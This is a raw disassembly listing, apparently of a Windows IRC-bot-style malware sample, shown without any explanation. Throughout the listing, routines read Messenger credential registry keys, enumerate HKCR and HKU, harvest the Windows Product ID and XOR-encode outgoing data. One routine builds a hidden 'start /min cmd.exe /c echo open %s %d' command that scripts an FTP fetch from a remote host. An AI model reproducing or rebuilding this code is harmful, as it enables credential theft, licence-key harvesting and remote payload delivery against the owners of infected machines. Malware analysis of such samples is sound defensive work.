loc_4354B8:				; CODE XREF: ___:00435447j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		call	near ptr 27607C7h
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2960296h
		nop
		test	eax, eax
		jnz	loc_4355AE
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435507:				; CODE XREF: ___:0043559Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A40
		push	ecx
		call	ebx ; sub_63125E
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	short loc_4355A3
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A34
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 2870000h
		nop
		jmp	loc_435507
; ---------------------------------------------------------------------------


loc_4355A3:				; CODE XREF: ___:00435563j
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2930000h
		nop


loc_4355AE:				; CODE XREF: ___:00435334j
					; ___:00435364j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435670	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_435670	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435780	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_435780
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C57
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4358AC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446B83+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_4358AC:				; CODE XREF: sub_435780+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435994
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446B77+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_435994:				; CODE XREF: sub_435780+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435A7C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446B6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_435A7C:				; CODE XREF: sub_435780+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435B64
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_435B64:				; CODE XREF: sub_435780+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435C4D
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_435C4D:				; CODE XREF: sub_435780+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435CF1
; ---------------------------------------------------------------------------


loc_435C57:				; CODE XREF: sub_435780+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435CF7
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2960296h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	short loc_435CEC
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_435CEC:				; CODE XREF: sub_435780+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435CF1:				; CODE XREF: sub_435780+4D2j
		nop
		call	near ptr 2930000h


loc_435CF7:				; CODE XREF: sub_435780+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_435780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E90	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435EAD
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435EA3:				; CODE XREF: sub_435E90+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435EB1
		inc	eax
		cmp	eax, esi
		jl	short loc_435EA3


loc_435EAD:				; CODE XREF: sub_435E90+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435EB1:				; CODE XREF: sub_435E90+16j
		pop	esi
		mov	al, 1
		retn
sub_435E90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435ED0:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446B8F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435F8C
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435F8C:				; CODE XREF: ___:00435F83j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435FCE:				; CODE XREF: ___:00436047j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43600E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43600E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43600E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_436049


loc_43600E:				; CODE XREF: ___:00435FDCj
					; ___:00435FECj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436040


loc_436033:				; CODE XREF: ___:0043603Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436033


loc_436040:				; CODE XREF: ___:00436031j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435FCE
; ---------------------------------------------------------------------------


loc_436049:				; CODE XREF: ___:0043600Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436130:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446B8F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4361E2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4361E2:				; CODE XREF: ___:004361D9j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436224:				; CODE XREF: ___:0043629Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436264
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436264
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436264
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43629F


loc_436264:				; CODE XREF: ___:00436232j
					; ___:00436242j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436296


loc_436289:				; CODE XREF: ___:00436294j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436289


loc_436296:				; CODE XREF: ___:00436287j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436224
; ---------------------------------------------------------------------------


loc_43629F:				; CODE XREF: ___:00436262j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436390:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_4368D0
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		call	sub_63125E
		nop
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446B8F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436492
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436492:				; CODE XREF: ___:00436489j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_4364D4:				; CODE XREF: ___:0043654Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436514
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436514
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436514
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43654F


loc_436514:				; CODE XREF: ___:004364E2j
					; ___:004364F2j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_436546


loc_436539:				; CODE XREF: ___:00436544j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_436539


loc_436546:				; CODE XREF: ___:00436537j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_4364D4
; ---------------------------------------------------------------------------


loc_43654F:				; CODE XREF: ___:00436512j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436650:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
